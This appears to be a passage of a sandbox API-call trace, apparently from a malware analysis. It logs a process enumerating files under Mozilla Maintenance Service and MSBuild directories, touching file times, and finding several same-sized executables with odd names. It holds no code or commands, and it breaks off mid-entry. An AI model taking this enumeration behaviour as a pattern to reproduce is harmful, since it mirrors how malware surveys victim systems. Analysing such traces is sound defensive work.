RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.395] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0089.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1b48 [0089.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0089.397] GetLastError () returned 0x12 [0089.397] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.397] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="")) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="")) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0089.397] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0089.397] GetLastError () returned 0x12 [0089.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.397] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.399] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0089.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.399] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild" (normalized: "c:\\program files (x86)\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild" (normalized: "c:\\program files (x86)\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.399] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.400] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.400] NtClose (Handle=0x180) returned 0x0 [0089.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.401] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.401] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fe4d00, ftCreationTime.dwHighDateTime=0x1d59e03, ftLastAccessTime.dwLowDateTime=0x9d35a710, ftLastAccessTime.dwHighDateTime=0x1d5b647, ftLastWriteTime.dwLowDateTime=0x9d35a710, ftLastWriteTime.dwHighDateTime=0x1d5b647, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bond.exe", cAlternateFileName="")) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.403] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21974970, ftCreationTime.dwHighDateTime=0x1d5b3d0, ftLastAccessTime.dwLowDateTime=0x521cbdc0, ftLastAccessTime.dwHighDateTime=0x1d588ae, ftLastWriteTime.dwLowDateTime=0x521cbdc0, ftLastWriteTime.dwHighDateTime=0x1d588ae, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="configurations.exe", cAlternateFileName="")) returned 1 [0089.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.404] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520b1fa0, ftCreationTime.dwHighDateTime=0x1d5aade, ftLastAccessTime.dwLowDateTime=0x910cd1d0, ftLastAccessTime.dwHighDateTime=0x1d5c389, ftLastWriteTime.dwLowDateTime=0x910cd1d0, ftLastWriteTime.dwHighDateTime=0x1d5c389, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0089.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.405] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0089.405] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="")) returned 1 [0089.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1b68 [0089.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313c18 [0089.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.408] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889cd2e0, ftCreationTime.dwHighDateTime=0x1d5b1df, ftLastAccessTime.dwLowDateTime=0x4ba166e0, ftLastAccessTime.dwHighDateTime=0x1d54ae6, ftLastWriteTime.dwLowDateTime=0x4ba166e0, ftLastWriteTime.dwHighDateTime=0x1d54ae6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="")) returned 1 [0089.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.409] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc76ad0, ftCreationTime.dwHighDateTime=0x1d54fb4, ftLastAccessTime.dwLowDateTime=0x1508db50, ftLastAccessTime.dwHighDateTime=0x1d549c3, ftLastWriteTime.dwLowDateTime=0x1508db50, ftLastWriteTime.dwHighDateTime=0x1d549c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0089.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc76ad0, ftCreationTime.dwHighDateTime=0x1d54fb4, ftLastAccessTime.dwLowDateTime=0x1508db50, ftLastAccessTime.dwHighDateTime=0x1d549c3, ftLastWriteTime.dwLowDateTime=0x1508db50, ftLastWriteTime.dwHighDateTime=0x1d549c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 0 [0089.411] GetLastError () returned 0x12 [0089.411] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.411] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fe4d00, ftCreationTime.dwHighDateTime=0x1d59e03, ftLastAccessTime.dwLowDateTime=0x9d35a710, ftLastAccessTime.dwHighDateTime=0x1d5b647, ftLastWriteTime.dwLowDateTime=0x9d35a710, ftLastWriteTime.dwHighDateTime=0x1d5b647, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bond.exe", cAlternateFileName="")) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21974970, ftCreationTime.dwHighDateTime=0x1d5b3d0, ftLastAccessTime.dwLowDateTime=0x521cbdc0, ftLastAccessTime.dwHighDateTime=0x1d588ae, ftLastWriteTime.dwLowDateTime=0x521cbdc0, ftLastWriteTime.dwHighDateTime=0x1d588ae, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="configurations.exe", cAlternateFileName="")) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520b1fa0, ftCreationTime.dwHighDateTime=0x1d5aade, ftLastAccessTime.dwLowDateTime=0x910cd1d0, ftLastAccessTime.dwHighDateTime=0x1d5c389, ftLastWriteTime.dwLowDateTime=0x910cd1d0, ftLastWriteTime.dwHighDateTime=0x1d5c389, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0089.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0089.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft" (normalized: "c:\\program files (x86)\\msbuild\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft" (normalized: "c:\\program files (x86)\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.412] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.412] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.412] NtClose (Handle=0x180) returned 0x0 [0089.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.413] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.413] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.414] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 1 [0089.414] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 0 [0089.414] GetLastError () returned 0x12 [0089.414] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.414] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.414] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.414] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 1 [0089.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313d20 [0089.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313e28 [0089.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: 